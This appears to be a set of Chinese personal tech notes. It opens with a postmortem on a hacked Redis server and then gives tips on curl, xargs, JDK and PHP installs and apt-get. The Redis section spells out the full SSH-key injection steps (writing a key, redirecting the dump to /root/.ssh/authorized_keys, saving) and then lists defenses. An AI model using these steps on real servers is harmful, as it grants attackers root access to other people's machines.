redis 漏洞 事故总结

事故起因 合并uc数据方案采用本地临时redis-server存储id,脚本和临时数据存储在同一台服务器导致单台服务器内存不足 redis-server挂机. 于是开启crontab-3机器 作为临时redis-server,由于对redis的漏洞没有相关的了解和没有相关安全意识,使用了redis的默认配置 导致该台服务器被黑客入侵 事故原理 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器 漏洞利用条件 redis服务以root账户运行 redis无密码或弱密码进行认证 redis监听在0.0.0.0公网上 案例分析(利用漏洞方式总共分为2种 命令注入,密钥注入.以下为密钥注入案例) 服务器ubuntu 14.04 lts redis-server 2.8.4 ip 172.16.143.141 port 6379 非server版本开启permitRootLogin 步骤一 生成公钥 步骤二 (连上redis客户端) 将公钥写入key set aa "\n\n\nssh-rsa ********************* frank@franktekiMacBook-Pro.local\n\n\n" 设置redis备份地址 config set dir /root/.ssh/ 设置备份文件名 config set dbfilename authorized_keys 保存 save 步骤三 ssh 172.16.143.141 直接登陆root无需密码 事故总结于防范 线上操作要有安全意识 redis服务尽量不要暴露在外网中 配置auth密码 禁止root启动redis服务 修改默认端口6379

php redis spop false

问题描述: 从脚本机2 切换到脚本机3后 发现原来的脚本跑不到数据了 spop返回false scard返回20000000+ 查看redis日志 13671:M 06 Jan 19:39:11.073 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect. 貌似是内存分配问题 根据提示 sysctl vm.overcommit_memory=1 spop返回正常 百度overcommit_memory 内核参数overcommit_memory 它是 内存分配策略 可选值:0、1、2。 0, 表示内核将检查是否有足够的可用内存供应用进程使用;如果有足够的可用内存,内存申请允许;否则,内存申请失败,并把错误返回给应用进程。 1, 表示内核允许分配所有的物理内存,而不管当前的内存状态如何。 2, 表示内核允许分配超过所有物理内存和交换空间总和的内存 什么是Overcommit和OOM Linux对大部分申请内存的请求都回复"yes",以便能跑更多更大的程序。因为申请内存后,并不会马上使用内存。这种技术叫做 Overcommit。当linux发现内存不足时,会发生OOM killer(OOM=out-of-memory)。它会选择杀死一些进程(用户态进程,不是内核线程),以便释放内存。 当oom-killer发生时,linux会选择杀死哪些进程?选择进程的函数是oom_badness函数(在mm/oom_kill.c中),该 函数会计算每个进程的点数(0~1000)。点数越高,这个进程越有可能被杀死。每个进程的点数跟oom_score_adj有关,而且 oom_score_adj可以被设置(-1000最低,1000最高)。

linux curl

项目中所有动作都走接口 每次通过刷新页面调试php太过麻烦 所以通过linux 的curl 实现http的请求 linux curl是通过url语法在命令行下上传或下载文件的工具软件,它支持http,https,ftp,ftps,telnet等多种协议,常被用来抓取网页和监控Web服务器状态。
一、Linux curl用法举例:
1. linux curl抓取网页:
抓取百度:
1
curl http://www.baidu.com
如发现乱码,可以使用iconv转码:
1
curl http://iframe.ip138.com/ic.asp|iconv -fgb2312
iconv的用法请参阅:在Linux/Unix系统下用iconv命令处理文本文件中文乱码问题
2. Linux curl使用代理:
linux curl使用http代理抓取页面:
1
2
curl -x 111.95.243.36:80 http://iframe.ip138.com/ic.asp|iconv -fgb2312
curl -x 111.95.243.36:80 -U aiezu:password http://www.baidu.com
使用socks代理抓取页面:
1
2
curl --socks4 202.113.65.229:443 http://iframe.ip138.com/ic.asp|iconv -fgb2312
curl --socks5 202.113.65.229:443 http://iframe.ip138.com/ic.asp|iconv -fgb2312
代理服务器地址可以从爬虫代理上获取。
3. linux curl处理cookies
接收cookies:
1
curl -c /tmp/cookies http://www.baidu.com #cookies保存到/tmp/cookies文件
发送cookies:
1
2
curl -b "key1=val1;key2=val2;" http://www.baidu.com #发送cookies文本
curl -b /tmp/cookies http://www.baidu.com #从文件中读取cookies
4. linux curl发送数据:
linux curl get方式提交数据:
1
curl -G -d "name=value&name2=value2" http://www.baidu.com
linux curl post方式提交数据:
1
2
curl -d "name=value&name2=value2" http://www.baidu.com #post数据
curl -d a=b&c=d&txt@/tmp/txt http://www.baidu.com  #post文件
以表单的方式上传文件:
1
curl -F file=@/tmp/me.txt http://www.aiezu.com
相当于设置form表单的method="POST"和enctype='multipart/form-data'两个属性。
5. linux curl http header处理:
设置http请求头信息:
1
2
3
curl -A "Mozilla/5.0 Firefox/21.0" http://www.baidu.com #设置http请求头User-Agent
curl -e "http://pachong.org/" http://www.baidu.com #设置http请求头Referer
curl -H "Connection:keep-alive \n User-Agent: Mozilla/5.0" http://www.aiezu.com
设置http响应头处理:
1
2
curl -I http://www.aiezu.com #仅仅返回header
curl -D /tmp/header http://www.aiezu.com #将http header保存到/tmp/header文件
6. linux curl认证:
1
2
curl -u aiezu:password http://www.aiezu.com #用户名密码认证
curl -E mycert.pem https://www.baidu.com #采用证书认证
6. 其他:
1
2
curl -# http://www.baidu.com #以“#”号输出进度条
curl -o /tmp/aiezu http://www.baidu.com #保存http响应到/tmp/aiezu
获取请求的响应时间 加上-o /dev/null -s -w %{time_connect}:%{time_starttransfer}=%{time_total}
linux 使用curl小经验教训:
http请求地址的url要使用""括起来。当有存在多个参数使用&连接时可能会出错。
参考地址:http://www.cnblogs.com/davidwang456/p/4266867.html

两个Ubuntu创建桌面启动程序的方法

1、最近遇到的一个问题就是PHP开发使用PhpStorm IDE, 但是在Ubuntu下要每次在终端执行该sh文件才能打开, 虽然加了全局变量, 但还是很淡疼, 于是找到创建桌面启动程序的方法: 首先安装: sudo apt-get install --no-install-recommends gnome-panel 安装完成后,打开终端,运行下面命令: gnome-desktop-item-edit ~/ --create-new 便会在用户目录下创建一个启动图标了, 然后锁定到快速启动项就可以了。 2、在Linux下使用Eclipse, 只能在终端打开, 于是想把Eclipse添加到桌面快速启动栏, 其实启动栏都对应的是/usr/share/applications文件夹下的文件, 那我们就在这个文件夹下面创建一个Eclipse.desktop: [Desktop Entry] Name=Eclipse Comment=Eclipse IDE Exec=/opt/eclipse/eclipse Icon=/opt/eclipse/icon.xpm Terminal=false Type=Application Categories=Application;Development; 其中的Icon是你的eclipse目录下的图标位置, 保存退出后你就能在主页搜索关键字Eclipse打开进入Eclipse了, 希望能帮到你。 原文地址 http://blog.csdn.net/wh_luosangnanka5/article/details/7804728

Ubuntu如何安装切换jdk版本

在配置java jdk的时候,总是存在一些版本不兼容的问题,下面就说说如何切换jdk版本。 我系统自带的jdk是1.6执行java -version java3 1.jdk安装 首先可以使用命令直接进行jdk安装
sudo apt-get install openjdk-7-jre openjdk-7-jdk.
也可下载安装包后通命令安装
tar -zxvf jdk-7u10-linux-i586.tar.gz
2.添加jdk:
update-alternatives --install /usr/bin/java java /usr/lib/jvm/java/jdk1.7.0_10/bin/java 300
update-alternatives --install /usr/bin/javac javac /usr/lib/jvm/java/jdk1.7.0_10/bin/javac 300
 注意:jdk1.7.0_10版本不同会有变动
3.查看相应的jdk是否在 ubuntu的jdk菜单里,查看:
sudo update-alternatives --config java
sudo update-alternatives --config javac
结果如下 java2 选择序号,回车即可; 4.然后java -version,javac -version查看当前jdk版本 java3

ubuntu 安装 php5.4

首先用ubuntu现有的命令直接装lamp环境的话。受ubuntu ppa源的限制,php只能装到5.3.10版。我的程序需要5.4以上的php。 最后选定了下面的过程 第一先要把php的安装程序ppa源改成新的,分别是5.4对应 php5-oldstable  和 5.5对应php5 命令如下: 先安装ppa源扩展工具
sudo apt-get install -y ppa-purge
更新ppa源
sudo add-apt-repository ppa:ondrej/php5-oldstable

更新软件列表。
sudo apt-get update
手动安装lamp sudo apt-get install apache2 php5 libapache2-mod-php5 mysql-server libapache2-mod-auth-mysql php5-mysql phpmyadmin 上面执行完了如果版本还是 php5.3.10 再执行一下下面的代码, sudo apt-get install php5 重新升级下,就变程php5.4 了当然想装php5.5 就要吧ppa源改成
sudo add-apt-repository ppa:ondrej/php5
相信很多人在百度或谷歌搜 “ubuntu 安装php5.4的时候,会搜到安装php5.5的代码”,为什么会出现这种情况呢,原因上面说了,ppa源,一般是最新的软件,所以现在的版本是php5.5.要是不小心安装了php5.5要怎么样,才能重新安装php5.4呢? 方法如下:
add-apt-repository  ppa:ondrej/php5-oldstable
apt-get update
ppa-purge ppa:ondrej/php5
apt-get update && apt-get upgrade -y && apt-get autoremove -y && apt-get autoclean -y
apt-get install php5-fpm

Python 2.7.6 在 linux 上的编译安装

1、下载python2.7.6,保存到 ~/soft http://www.python.org/ftp/python/ http://www.python.org/ftp/python/2.7.6/Python-2.7.6.tgz 2、解压文件 tar zxf Python-2.7.6.tgz 3、创建安装目录 mkdir /usr/local/python/python27 4. 安装python cd ~/soft/Python-2.7.6 ./configure --prefix=/usr/local/python/python27 make make install 5. 修改老版本的ln指向 mv /usr/bin/python /usr/bin/python2.4.3 ln -s /usr/local/python/python27/bin/python /usr/bin/python

Linux xargs命令

xargs是给命令传递参数的一个过滤器,也是组合多个命令的一个工具。它把一个数据流分割为一些足够小的块,以方便过滤器和命令进行处理。通常情况下,xargs从管道或者stdin中读取数据,但是它也能够从文件的输出中读取数据。xargs的默认命令是echo,这意味着通过管道传递给xargs的输入将会包含换行和空白,不过通过xargs的处理,换行和空白将被空格取代。

xargs 是一个强有力的命令,它能够捕获一个命令的输出,然后传递给另外一个命令,下面是一些如何有效使用xargs 的实用例子。

1. 当你尝试用rm 删除太多的文件,你可能得到一个错误信息:/bin/rm Argument list too long. 用xargs 去避免这个问题

find ~ -name ‘*.log’ -print0 | xargs -0 rm -f

2. 获得/etc/ 下所有*.conf 结尾的文件列表,有几种不同的方法能得到相同的结果,下面的例子仅仅是示范怎么实用xargs ,在这个例子中实用 xargs将find 命令的输出传递给ls -l

# find /etc -name "*.conf" | xargs ls –l

3. 假如你有一个文件包含了很多你希望下载的URL, 你能够使用xargs 下载所有链接

# cat url-list.txt | xargs wget –c

4. 查找所有的jpg 文件,并且压缩它

# find / -name *.jpg -type f -print | xargs tar -cvzf images.tar.gz

5. 拷贝所有的图片文件到一个外部的硬盘驱动

# ls *.jpg | xargs -n1 -i cp {} /external-hard-drive/directory

EXAMPLES find /tmp -name core -type f -print | xargs /bin/rm -f Find files named core in or below the directory /tmp and delete them.  Note that this will work incorrectly if there are any filenames containing newlines or spaces.

find /tmp -name core -type f -print0 | xargs -0 /bin/rm -f Find  files  named core in or below the directory /tmp and delete them, processing filenames in such a way that file or directory names containing spaces or newlines are correctly handled. find /tmp -depth -name core -type f -delete Find files named core in or below the directory /tmp and delete them, but more efficiently than in the previous example (because we avoid the need to use fork(2) and exec(2) to launch rm and we don't need the extra xargs process). cut -d: -f1 < /etc/passwd | sort | xargs echo Generates a compact listing of all the users on the system. xargs sh -c 'emacs "$@" < /dev/tty' emacs Launches the minimum number of copies of Emacs needed, one after the other, to edit the files listed on xargs' standard input.  This example achieves the same effect as BSD's -o option, but in a more flexible and portable way.

crontab : no crontab for ... - using an empty one

If you’ve ever seen this warning on OSX while trying to edit your crontab crontab: temp file must be edited in place here’s how to address it. Fistly, the reason has to do with the way vim/vi treats backup files and the fact that crontab has different ideas about it. Setting your EDITOR env var as in EDITOR=vim is the root of this problem. The quick fix is EDITOR=vi in the .bash_profile or, at the command line cfp:~> EDITOR=vi crontab -e But of course this sucks since vim in vi/compatible mode is like racing flat track in a 1970s buick. A better approach is this: in the .bash_profile do alias crontab=”VIM_CRONTAB=true crontab” and in .vimrc do :if $VIM_CRONTAB == “true” :set nobackup :set nowritebackup :endif done.

如何配置apt-get默认安装suggeted packages

在使用apt-get安装包的时候,常常会遇到apt-get会建议的包,但实际上却木有安装: [php] root@Pure:/etc/puppet/modules/apache# apt-get install ipython Reading package lists... Done Building dependency tree Reading state information... Done The following extra packages will be installed: python-configobj python-simplegeneric Suggested packages: ipython-doc ipython-notebook ipython-qtconsole python-matplotlib python-zmq The following NEW packages will be installed: ipython python-configobj python-simplegeneric upgraded, 3 newly installed, 0 to remove and 388 not upgraded. Need to get 872 kB of archives. After this operation, 4,355 kB of additional disk space will be used. Do you want to continue [Y/n]? [/php] 需要让apt-get默认下载推荐和建议的包,需要建立一个配置文件:/etc/apt/apt.conf: [php] <pre>APT::Install-Recommends "true"; APT::Install-Suggests "true";</pre> [/php] 然后在安装的时候就会默认下载了。 如果不希望apt-get下载suggested的包: [php] <pre>apt-get --no-install-recommends install package</pre> [/php]